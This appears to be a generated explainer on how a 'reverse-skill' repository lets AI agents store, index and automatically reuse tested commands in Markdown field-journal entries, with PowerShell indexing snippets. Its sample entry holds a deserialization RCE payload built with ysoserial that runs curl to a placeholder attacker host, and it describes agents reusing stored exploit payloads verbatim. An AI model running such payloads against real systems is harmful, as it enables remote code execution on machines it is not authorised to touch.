How Reusable Experience Is Stored in the Field-Journal Structure

Reusable experience is stored in Markdown files under the skills/field-journal/ directory, specifically within a dedicated section titled "可复用的模式/脚本片段" (Reusable Patterns / Script Snippets), and made discoverable through an auto-generated _index.md catalogue.

The reverse-skill repository implements a structured knowledge management system where every completed task contributes to a growing library of reusable experience. This pattern—commonly called the field-journal structure—allows AI agents to preserve battle-tested commands, scripts, and workarounds for rapid retrieval in future engagements.

The Core Storage Mechanism: Markdown Entries with Dedicated Pattern Sections

Each journal entry in the field-journal structure follows a strict template defined in skills/field-journal/_template.md. This template reserves a specific heading for capturing reusable artifacts.

The Template Structure

The _template.md file establishes the canonical layout that every journal entry must adopt. Critical to experience reuse is the following section heading:

## 可复用的模式/脚本片段

Under this heading, AI agents record:

• Command-line one-liners that succeeded in specific scenarios
• Hook scripts for interception or manipulation
• De-obfuscation logic for unpacking protected binaries
• Workarounds for environment-specific edge cases

Example Journal Entry with Reusable Patterns

Here is a minimal but complete journal entry demonstrating how reusable experience is captured:

# 2026-08-18 my-project

## 场景分类

<!-- 渗透测试 -->

## 可复用的模式/脚本片段

```bash

# 已验证的 JNDI RCE payload

java -jar ysoserial.jar CommonsCollections5 "curl http://{attacker_ip}/?pwn=1" > payload.bin

进化动作

• 更新了 tool-index

The **Reusable Patterns** section contains the verbatim, tested command that the AI can extract and adapt for similar tasks—no rediscovery required.

## The Index Layer: Fast Lookup Through [`_index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/_index.md)

Raw storage alone does not enable efficient reuse. The field-journal structure solves this through [`skills/field-journal/_index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/field-journal/_index.md), an auto-generated catalogue that aggregates metadata from all entries.

### How the Index Is Maintained

After any new journal file is created or modified, the following PowerShell logic (simplified from the repository's automation pipeline) updates the central index:

```powershell

# PowerShell pseudo-code run after a new journal file is added

$journalRoot = "<SKILL_ROOT>\field-journal"
Get-ChildItem "$journalRoot\*.md" |
  ForEach-Object {
    $content = Get-Content $_
    # Extract scenario category & keywords (simple regex)

    $category = ($content -match '^## 场景分类\s*$(.*)') ? $matches[1] : '未分类'

    $title    = ($_ .BaseName)
    # Append to _index.md in Markdown table format

    Add-Content "$journalRoot\_index.md" "- [$title]($title.md) | $category"
  }

This ensures that every entry's scenario category and keywords are immediately searchable.

Runtime Retrieval: How Stored Experience Is Reused

According to README_AI.md (section Experience Reuse Mechanism), the AI follows a mandatory two-step lookup before starting any new task:

1. Read _index.md to identify relevant prior entries by category or keyword match
2. Pull the 可复用的模式/脚本片段 section from matching journal files

Practical Reuse Example

When the AI encounters a new Log4j-related task, it executes retrieval logic similar to:

# The AI searches the index for "JNDI" and reads the matching journal entry

$entry = Get-Content "skills\field-journal\seed-012_log4shell-jndi-rce.md"

# Extract the reusable block (between the headings)

$pattern = ($entry -join "`n") -match '(?s)## 可复用的模式/脚本片段`n```bash(.*?)```' ? $matches[1] : ''

Write-Host "Re-using pattern:`n$pattern"

This pattern matching extracts the verbatim tested payload without manual intervention.

Mandatory Write-Back: Ensuring Experience Accumulates

The field-journal structure enforces experience preservation through RULES.md. After every task completion, the AI must:

• Create or update a journal entry following _template.md
• Populate the Reusable Patterns section with any novel solutions
• Commit the entry to skills/field-journal/
• Trigger regeneration of _index.md

This closed loop guarantees that the knowledge base grows monotonically.

Key Source Files in the Field-Journal Structure

File	Purpose	Direct Link
skills/field-journal/_template.md	Master template defining where reusable experience is recorded	View on GitHub
skills/field-journal/_index.md	Auto-generated catalogue enabling rapid lookup across all entries	View on GitHub
skills/field-journal/seed-012_log4shell-jndi-rce.md	Real-world example entry containing reusable JNDI exploitation patterns	View on GitHub
README_AI.md	Documents the runtime experience-reuse behavior AI agents must follow	View on GitHub
RULES.md	Formal governance that mandates journal write-back after each task	View on GitHub

Summary

The field-journal structure in reverse-skill stores reusable experience through a dual-layer architecture:

• Per-entry storage: Markdown files under skills/field-journal/ contain a dedicated 可复用的模式/脚本片段 section where tested commands, scripts, and logic are preserved verbatim
• Centralized discovery: The auto-generated _index.md catalogue enables O(1) lookup by scenario category and keyword before any new task begins
• Enforced accumulation: RULES.md mandates write-back, ensuring the knowledge base compounds with every completed engagement

This design transforms episodic task execution into cumulative organizational memory.

Frequently Asked Questions

What file format does the field-journal structure use?

The field-journal structure uses Markdown as its native format. Every entry is a .md file that follows the schema defined in _template.md, with specific headings—most critically ## 可复用的模式/脚本片段—that standardize where reusable artifacts are recorded.

How does the AI know which stored patterns to retrieve?

Per README_AI.md, the AI must first read _index.md to match the current task's scenario against historical entries by category and keywords. Only after identifying relevant entries does the AI extract the Reusable Patterns section from those specific files. This prevents blind searches through the entire directory.

Can reusable experience include more than shell commands?

Yes. The 可复用的模式/脚本片段 section accepts any textual artifact that proved valuable: Python or PowerShell scripts, regular expressions for parsing, Ghidra or IDA decompiler scripts, frida hooks, configuration snippets, or even decision trees documented as pseudo-code. The template imposes no language restriction on code blocks within this section.

What happens if the _index.md file becomes stale?

The repository's automation pipeline regenerates _index.md automatically after any journal file is added or modified. Additionally, RULES.md mandates that AI agents trigger index updates as part of the post-task write-back workflow, keeping the catalogue synchronized with the underlying entry files.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}